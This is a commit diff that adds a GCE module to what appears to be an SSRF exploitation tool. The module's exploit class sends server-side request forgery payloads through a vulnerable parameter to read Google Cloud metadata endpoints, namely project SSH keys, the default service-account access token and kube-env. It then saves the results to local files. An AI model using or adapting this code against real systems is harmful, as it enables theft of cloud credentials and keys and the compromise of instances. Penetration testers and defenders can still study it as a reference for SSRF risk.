Merge pull request #5 from mrtc0/gce-module

Support GCE Metadata

modules/gce.py

@@ -0,0 +1,53 @@
+from core.utils import *
+import logging
+import os
+
+name          = "gce"
+description   = "Access sensitive data from GCE"
+author        = "mrtc0"
+documentation = [
+    "https://cloud.google.com/compute/docs/storing-retrieving-metadata",
+    "https://hackerone.com/reports/341876",
+    "https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/"
+]
+
+class exploit():
+    endpoints = set()
+
+    def __init__(self, requester, args):
+        logging.info("Module '{}' launched !".format(name))
+        self.add_endpoints()
+
+        r = requester.do_request(args.param, "")
+        if r != None:
+            default = r.text
+
+            # Create directory to store files
+            directory = requester.host
+            if not os.path.exists(directory):
+                os.makedirs(directory)
+
+            for endpoint in self.endpoints:
+                payload = wrapper_http(endpoint[1], endpoint[0] , "80")
+                r  = requester.do_request(args.param, payload)
+                diff = diff_text(r.text, default)
+                if diff != "":
+
+                    # Display diff between default and ssrf request
+                    logging.info("\033[32mReading file\033[0m : {}".format(payload))
+                    print(diff)
+
+                    # Write diff to a file
+                    filename = endpoint[1].split('/')[-1]
+                    if filename == "":
+                        filename = endpoint[1].split('/')[-2:-1][0]
+
+                    logging.info("\033[32mWriting file\033[0m : {} to {}".format(payload, directory + "/" + filename))
+                    with open(directory + "/" + filename, 'w') as f:
+                        f.write(diff)
+
+
+    def add_endpoints(self):
+        self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json") )
+        self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/service-accounts/default/token") )
+        self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/attributes/kube-env?alt=json") )